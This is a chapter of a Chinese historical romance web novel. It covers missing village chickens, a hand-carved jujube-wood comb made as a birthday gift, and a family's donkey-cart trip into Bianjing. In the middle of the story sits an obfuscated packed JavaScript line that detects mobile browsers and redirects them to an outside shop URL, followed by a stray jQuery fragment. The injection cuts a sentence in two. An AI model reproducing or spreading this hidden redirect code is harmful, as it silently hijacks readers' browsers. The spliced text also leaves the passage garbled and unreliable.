“我家的鸡呢!!!”
第二天一早,许大娘喊声震天,吓得旁边几户邻居也连忙数鸡。
见自己家的没丢,许多人松了口气。
只剩许大娘掐着大儿子的耳朵叫骂。
巧的是,竟然都是村里那些常年无赖,爱嚼舌根,编造是非的人家丢了鸡,一丢就是一大半,就算是狐狸来了,也吃不了这么多吧。
许家大郎在街上见人就抓着问:“你是不是偷了我家的鸡?”
结果愈发被人看不惯。
抓不到凶手,事情也就不了了之了。
几月后,林烈上山打猎,心中疑惑:咱们这里什么时候有了这么多野鸡?
---
肖玉桃正忙着呢。
明日就是黄燕的生辰,一家人准备进城逛街,租车裁衣服一摊子事等着干。
肖奇父子俩下田去收尾。
黄燕和肖玉桃此刻站在小屋里,何田田拿着手里的衣裙在两人身上来回比划,身后摆了一床五颜六色的纱裙长袍。
“燕燕穿这件青绿的褙子,再配这件鹅黄的百迭裙。”何田田指挥黄燕换衣服,又在箱子里翻了半天。
黄燕知道明日大家要给自己过生辰,还要到城里去下馆子,兴奋极了,像小蝴蝶一样在屋里跑来跑去。
“桃桃穿这个粉色的,搭一件天青的裙子。”肖玉桃接过娘亲翻出来的衣裙,套在身上。
“娘,我就不穿了吧,又不是我的生辰。”肖玉桃有些不想穿,这都是上好的绸布,她怕她给勾坏了。
“说什么呢,咱们明儿要去汴京城,穿的像个乞丐似的,成什么样子。”何田田拍拍肖玉桃的衣服,拉着两人翻来覆去的看,终于满意了。
终于安排好了衣裳,何田田带着黄燕出门租车去了,明日一家六个人要出门,得两架驴车,要提前问问谁家进城,跟着一块进去,再一块回来,不然不好拦车。
让肖玉桃留在家里送饭,顺便去通知陈济川,明日早上卯时过来,一道进城。
送过饭,肖玉桃一个人在家,给自己的礼物再上一遍蜡。
她的礼物是一把精致的枣木梳。
枣木是她拾柴时见到的。陈济川说这是上好的料子,有些读书人家的印章就是枣木章,琵琶的琴头,也有枣木做的。
她这才起了做个礼物的念头,不然这上好的枣木枝,就要跟松木一起进了她家的灶台了。
陈济川听说她想亲手做把梳子,很乐意教她。
第一天,陈济川先讲了如何用刀——
推刨子时双手一定要牢牢捉住把手,绝对不能将手放在刨子前后,刀口不许冲人,推刻刀时手指不能出现在行刀的方向,如果用十分力气才能推动,就不要动刀……
他讲了不下五遍,直到肖玉桃可以完整复述出这些“实验室安全守则”,这才可以摸上锯子。
她先是跟陈济川学着切胚,将长长的枣木枝用锯子切成一尺见方的木块,作为梳子的底料,再接着抓起刨子。
陈济川帮她固定好枣木枝,再教她如何用力,将木头刨平。
肖玉桃力气不稳,前面刨的深,后续力气不足卡住了,她有些沮丧。
陈济川一只手轻轻按在肖玉桃的肩上,另一只手指着肖玉桃的腰腹:“以腰带手,以肩带肘,用身体的力量向前压。”
肖玉桃经过指点,踩实地面,腰腹发力,猛地往前推,“唰”的一声,推出了一条平整的刨花。
她很是开心,陈济川也夸道:“你很有天赋。”
受到鼓舞,她接着修整边缘,陈济川再没插手。
肖玉桃将长方形的木条削成了一根黄白的木块,像是一块洗净了的淡黄莲藕。
肖玉桃继续刨手里的木块,调整到合适的厚度,再用炭笔描出一个半月形,作为梳子的轮廓。
然后就是精细活了,要画出齿距,间隔大约一分。
陈济川拿出分规,量好间距,将梳子等分成十九份。
肖玉桃一遍听一边学。
接下来是开槽断齿,按照方才画的线,用小锯先沿着描线竖着锯,锯到梳子根部,再轻轻横着将木头带出来。
这一步太精细,肖玉桃怕毁了这根枣木枝,请陈济川帮忙做了。
自己用剩下的边角料试了试,十次只成功了三次,肖玉桃擦了把汗,手指酸得直突突。
陈济川抬眼瞧她在干嘛,她将锯断的树枝往身后藏了藏,只冲他笑。
陈济川锯完,肖玉桃将梳子带回去打磨,这几天她随身都带着粗麻布,闲了就将梳子拿出来打磨。
等梳齿磨得光滑圆润,她这才开始雕刻。
枣木太硬,肖玉桃的手劲不够,只好先画上了两只纤细的燕子,请陈济川帮忙雕刻,他雕的栩栩如生,保留了燕子的神韵,又添上了几分英气。
现在得空,她又拿出来涂了一遍木蜡油。
梳子带着淡淡的木头香气,摸起来光滑圆润,两只小燕子维妙维肖。
她轻轻地擦拭着上面的燕子,反反复复,来回擦了好几遍。
第二日一大早,不等鸡叫,黄燕就拍醒了身边的肖玉树,让他赶快洗漱收拾。
肖玉树揉着惺忪的眼睛,连声道好,出来时却把对襟短褐给穿反了,快出门了大家才发现,笑着催促他赶紧换了。
何田田又拿出几朵象生花,有红的牡丹,也有粉的杏花,捡了两朵小的,给肖玉桃和黄燕戴上,又捡了两朵牡丹,让肖奇和肖玉树戴上。
何田田又给大家分钱,三个孩子每人两百文,都用小袋子包好了,嘱咐他们好好看管,切莫还没花就叫别人摸去了。
肖玉桃和黄燕重重点头,小心地装进了自己带的小挎包里。
肖玉树嫌弃肖玉桃做的小挎包,粉青黄紫的,是小姑娘的玩意儿,不愿意背,此时思来想去,将小钱袋从对襟领口塞进了腰间的夹层里。
肖玉桃两人哧哧的笑他,不知道他进了城要怎么掏出钱来,他倒是神态自若。
几人这才整整齐齐的出门了。
一出门就瞧见了屋外的陈济川,他像是在门口等了多时了,脸色冻的有些发白。
寒暄两句,肖玉桃等人往村口走,肖四叔和儿子每隔两日都会去城里卖菠菜和春笋,说好了在村口等着他们。
两架驴车在村口等着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697215|189015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肖大伯跟儿子各驾一辆。
大伯为人敦厚和善,平时与旁人很少来往,只顾着种地卖菜,颇有些与世无争之意,也不曾躲过肖玉桃,肖玉桃很是感激。
她正冲大伯和堂哥打招呼,黄燕忽然拉着肖玉树呼啸而过,直奔大伯身边的驴车。
何田田和肖奇早坐上了,正亲亲热热的拉着黄燕上车。
陈济川站在肖玉桃身后,指指堂哥拉着的车,浅浅一笑:“走吧。”
前一辆车四个人朝她挤眉弄眼,肖玉桃幽怨的望了她们一眼,这才慢吞吞上了车。
晨光熹微,山路上没什么人。
黄燕在车上指着绿树飞鸟嘻嘻哈哈笑个不停,笑声被风送出去老远。
肖玉桃跟陈济川对坐在驴车上,相顾无言,十分尴尬。
陈济川一直盯着肖玉桃头顶,见她手紧紧的压在两侧的稻草上,脊背僵直的挺着,驴车拐弯,她都不动一下。
陈济川这才舍得微微偏了偏头。
“车遥遥,马憧憧。君游东山东复东,安得奋飞逐西风。”陈济川轻轻唱起了歌,一边唱一边用余光瞧着肖玉桃的神色。
肖玉桃只觉得歌声宛转悠扬,十分动人,紧绷的手臂不知不觉间舒展了不少。
只是唱的什么肖玉桃一点没听懂,这首词没学过呢,是柳永的吗?
起得太早,肖玉桃在驴车有节奏的颠簸中困了,竟歪头靠在一车白菜上睡着了。
陈济川一曲歌毕,转头就见到睡的香甜的肖玉桃,摇头轻笑。
走着走着,日头高挂,肖玉桃白净的小脸暴露在阳光下,眉头狠狠地皱在一起,陈济川瞧见,撑开衣袖挡在肖玉桃脸前,见她眉头轻轻展开,他的脸上也露出笑意。
不知过了多久,驴车悠悠停下,肖玉桃这才迷糊的醒来。
她揉揉自己酸麻的肩膀,睡眼惺忪的问:“到了?”
陈济川伸手扶她下来:“还远呢,前头是等着进城的车队,伯母说咱们走着进去。”
肖玉桃前后望望,这才瞧见,一辆接一辆的驴车、牛车堵在门口,弯弯曲曲的排出去老远。
谢过肖大伯父子,几人约好了酉时仍在此处相见,肖玉桃等人从车队旁边经过。
装碳运菜的不提,还有送海棠花、太湖石的,竟还有一辆驴车上装着两只梅花鹿,忽闪着大眼睛,漂亮极了,肖玉桃还没靠近,车夫就挥着手:“去去去。”
几人走到城门口,守城的官兵唱着“檀木一车——”,声音渐渐消散在喧哗的人群中。
身着胡服的蓝眼睛黄胡子商人恭恭敬敬的向官差行礼,讲着宋朝的官话,肖玉桃越看越觉得新奇。
头顶“万胜门”几个大字苍劲有力,不知是何人题写。
行人摩肩接踵,络绎不绝,肖玉桃发觉脚下的路越来越平整宽阔。
多年前,何田田从江南来投亲的,寻亲无果,曾经在汴京城下开了个小茶摊。后来遇上了肖奇,被拐带回肖家村种田了。
一晃过去了许多年,她的娃娃都这样大了。
当年,她就是从这里进的城。
“走,吃饭去。”何田田迈着步子进了城。